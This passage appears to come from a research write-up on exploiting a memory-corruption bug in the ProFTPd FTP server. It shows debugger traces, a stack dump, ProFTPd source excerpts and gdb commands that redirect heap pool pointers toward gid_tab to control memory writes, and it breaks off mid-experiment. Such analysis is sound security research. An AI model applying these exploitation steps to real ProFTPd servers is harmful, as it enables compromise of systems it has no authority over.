text
stringlengths
0
1.99k
70 if (src && *src) {
71 for (; *src && n > 1; n--) {
→ 72 *d++ = *src++;
73 res++;
74 }
75 }
76
77 *d = '\0';
────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0x555555634d28 in sstrncpy (), reason: SIGSEGV
──────────────────────────────────────────────────────────────── trace ────
[#0] sstrncpy(dst=0x4343434343434343, src=0x555555688769 "26", n=0x4)
sstrncpy is the function that copies error messages like "426" and others.
The easiest way to exploit this would be partial overwrite using the "426"
error code that ProFTPd writes, by returning p->last->h.first_avail (that
we control) and manipulate the rest. We could do that by using the stack
(which is more predictable than heap), but the problem is that given X
pointing to an address in the stack, X should be greater than X+3 in *long
size. Also the execution flow is limited and we cannot write to r-x memory
pages (AKA code).
gef➤ x/64a $rsp
0x7fffffffd900: 0x0 0x5564236f
0x7fffffffd910: 0x4 0x5555556e0440
0x7fffffffd920: 0x0 0x1
0x7fffffffd930: 0x8 0xc4d53d3e8c629700
0x7fffffffd940: 0x415353454d5f434c 0x1ff6
0x7fffffffd950: 0x7fffffffd970 0x555555575a8e <palloc+44>
0x7fffffffd960: 0x4 0x5555556e0440
0x7fffffffd970: 0x7fffffffd9a0 0x555555577839 <pstrdup+91>
0x7fffffffd980: 0x555555688768 0x5555556e0440
0x7fffffffd990: 0x4 0x55678b00
0x7fffffffd9a0: 0x7fffffffd9d0 0x5555555a42db <pr_response_set_pool+83>
0x7fffffffd9b0: 0x55555566c678 0x5555556e0440
0x7fffffffd9c0: 0x555555688768 0x5555555f27bc <stor_abort+1227>
0x7fffffffd9d0: 0x7fffffffda10 0x55555557025e <pr_cmd_dispatch_phase+240>
0x7fffffffd9e0: 0x400000000 0x5555556b99f8
0x7fffffffd9f0: 0x0 0x0
0x7fffffffda00: 0x0 0x5555556b60f0
0x7fffffffda10: 0x7fffffffda40 0x5555555fc463 <xfer_exit_ev+251>
0x7fffffffda20: 0x0 0x0
0x7fffffffda30: 0x7fffffffda80 0x5555556b99f8
0x7fffffffda40: 0x7fffffffda80 0x5555555c0b3d <pr_event_generate+532>
0x7fffffffda50: 0x0 0x5555556482f5
0x7fffffffda60: 0x7fffffffda80 0x5558e808
0x7fffffffda70: 0x555555684d68 0x5555556b0a20
0x7fffffffda80: 0x7fffffffdac0 0x5555555c1ee6 <sess_cleanup+422>
0x7fffffffda90: 0x7fffffffdaf0 0xf7f23b00
0x7fffffffdaa0: 0x7ffff7f60aa0 <__libc_setlocale_lock> 0x5555556b2d20
0x7fffffffdab0: 0x1007 0xd9f8
0x7fffffffdac0: 0x7fffffffdaf0 0x5555555c200d <pr_session_end+32>
0x7fffffffdad0: 0xffffffff 0xf7ffd040
0x7fffffffdae0: 0xffffffffffffffff 0xf7df775a
0x7fffffffdaf0: 0x7fffffffdb30 0x5555555c1fea <pr_session_disconnect+178>
I tried a lot of partial overwrite of stack-return values. Some of them
could indeed be used, but it would require more work and a different
approach - on later chapter I mention this as an alternative attack method.
As a result, I gave up on partial overwrite with error code/message.
By analysing the source code and the flow during execution, I noticed that
inside pr_auth_cache_clear() there are some calls to pr_table_empty().
This function is interesting because of the loop it does, which we could
use to iterate over new_pool members until we find a pointer to the data
that we control.
table.c:
943 for (i = 0; i < tab->nchains; i++) {
944 pr_table_entry_t *e;
945
946 e = tab->chains[i];
947 while (e != NULL) {
948 if (!handling_signal) {
949 pr_signals_handle();
950 }
951
952 tab_entry_remove(tab, e);
953 tab_entry_free(tab, e);
954
955 e = tab->chains[i];
956 }
957
958 tab->chains[i] = NULL;
959 }
During execution, the pr_auth_cache_clear() function is called. It contains
several struct table_rec that could be used - I've chosen gid_tab.
The idea here is to combine resp_pool members with gid_tab members, so we
keep controlling the memory blocks that ProFTPd writes the error messages
into until we reach the FTP command we sent. Let's try it out again from
our pool.c:569 breakpoint, but adding a nice trick:
gef➤ dprintf str.c:278, "sstrncpy(res=%p, str=%s, len=%d)\n", res, str,len
gef➤ set p->last = &p->cleanups
gef➤ set p->sub_pools = ((char *)session.curr_cmd_rec) - 0x28
gef➤ set p->sub_next = gid_tab
gef➤ c